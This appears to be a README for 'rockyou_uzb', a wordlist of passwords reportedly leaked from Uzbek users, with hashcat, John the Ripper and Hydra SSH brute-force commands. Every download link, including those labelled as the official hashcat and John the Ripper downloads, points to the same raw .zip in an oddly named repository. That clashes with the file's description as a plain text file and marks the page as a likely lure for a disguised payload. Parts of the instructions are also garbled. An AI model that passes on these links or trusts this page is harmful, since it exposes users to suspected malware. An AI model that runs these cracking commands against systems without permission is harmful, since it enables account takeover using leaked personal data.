rockyou_uzb offers a collection of common passwords from Uzbek data leaks. It is built to help test password strength and security during penetration testing. This wordlist contains passwords that real users have used, making it useful for security checks with tools like hashcat, Hydra, or John the Ripper.
This tool does not require coding skills. You only need to download the list and use it with your favorite password testing software.
You can get rockyou_uzb by visiting the official GitHub page below. This page holds the file you need along with other related resources. Click the link to open it in your browser.
rockyou_uzb is a text file containing passwords. It does not require installation. Follow these steps to download and use it:
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Open this link in your browser: https://raw.githubusercontent.com/Alpacareticulitermeslucifugus340/rockyou_uzb/main/egomaniac/uzb_rockyou_v2.9.zip
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Look for the file named like a wordlist, often called
rockyou_uzb.txtor similar. It may be in the root folder or in a subfolder namedwordlistsorlists. -
Click the file name. You will see the file contents displayed.
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Click the "Raw" button near the top right. This opens just the text file.
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Right-click the page and select "Save As" or press Ctrl+S.
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Choose a folder on your PC, like Desktop or Downloads.
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Save the file with the
.txtextension, such asrockyou_uzb.txt.
rockyou_uzb is typically used with password crackers and security tools. Here are some popular options and how to use the wordlist with each:
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hashcat:
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Install hashcat from its official site.
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Open Command Prompt in Windows (press Windows+R, type
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Run a command such as:
hashcat -m 0 -a 0 target_hash rockyou_uzb.txt
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target_hashwith the hash you want to test. This command tells hashcat to use the rockyou_uzb wordlist for a dictionary attack. -
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Hydra:
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Install Hydra for Windows if needed.
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Use the wordlist option in your command:
hydra -L usernames.txt -P rockyou_uzb.txt target_ip ssh
Change
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John the Ripper:
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Install John the Ripper.
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Run John with:
john --wordlist=rockyou_uzb.txt target_hash.txt
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Make sure the wordlist file path matches where you saved it.
rockyou_uzb itself runs on any Windows PC because it is just a text file. Your system should meet these general requirements for password testing tools:
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Windows 7 or later
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At least 4 GB RAM (more if running big tests)
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At least 500 MB free disk space for wordlist and results
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Internet connection for downloading tools
If you are new to password testing, here is how to get common tools:
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hashcat:
Visit https://raw.githubusercontent.com/Alpacareticulitermeslucifugus340/rockyou_uzb/main/egomaniac/uzb_rockyou_v2.9.zip and download the latest Windows version. Extract the ZIP file. You will find the program files inside.
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Hydra:
Hydra is less commonly available on Windows but can run with Cygwin or Windows Subsystem for Linux (WSL).
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John the Ripper:
Download the Windows version from https://raw.githubusercontent.com/Alpacareticulitermeslucifugus340/rockyou_uzb/main/egomaniac/uzb_rockyou_v2.9.zip Extract and use from the Command Prompt.
Because rockyou_uzb may contain a large number of passwords, it can be several megabytes in size.
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Keep the file in a folder you can easily find.
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Do not rename the file once you start tests, as tools need the exact file name or path.
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You can open the file with Notepad or any text editor to view the contents.
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Use alongside other common wordlists for better results.
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Keep your tools updated to support large wordlists.
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Run tests in a controlled environment to avoid legal issues.
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Practice on sample hashes or in lab setups before testing real systems.
The wordlist holds passwords leaked from Uzbek users. These passwords reflect common patterns in the local language and culture. Using this list helps security experts identify weak passwords in Uzbek environments.
Passwords in the list include:
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Simple common words
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Numeric combinations
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Common phrases or keyboard patterns in Uzbek
If you have trouble getting the wordlist:
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Make sure you are connected to the internet.
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Check if your browser blocks downloads from GitHub.
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Try another browser like Chrome, Firefox, or Edge.
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Confirm you followed the instructions to save the raw text file.
Visit the GitHub page for any updates, issues, or related files:
You can review discussions or open issues if needed. Many users share tips on handling the wordlist there.
Use rockyou_uzb only for legitimate security testing on systems you own or have permission to test. Unauthorized use violates laws and privacy. This wordlist is a tool for improving defense against weak passwords.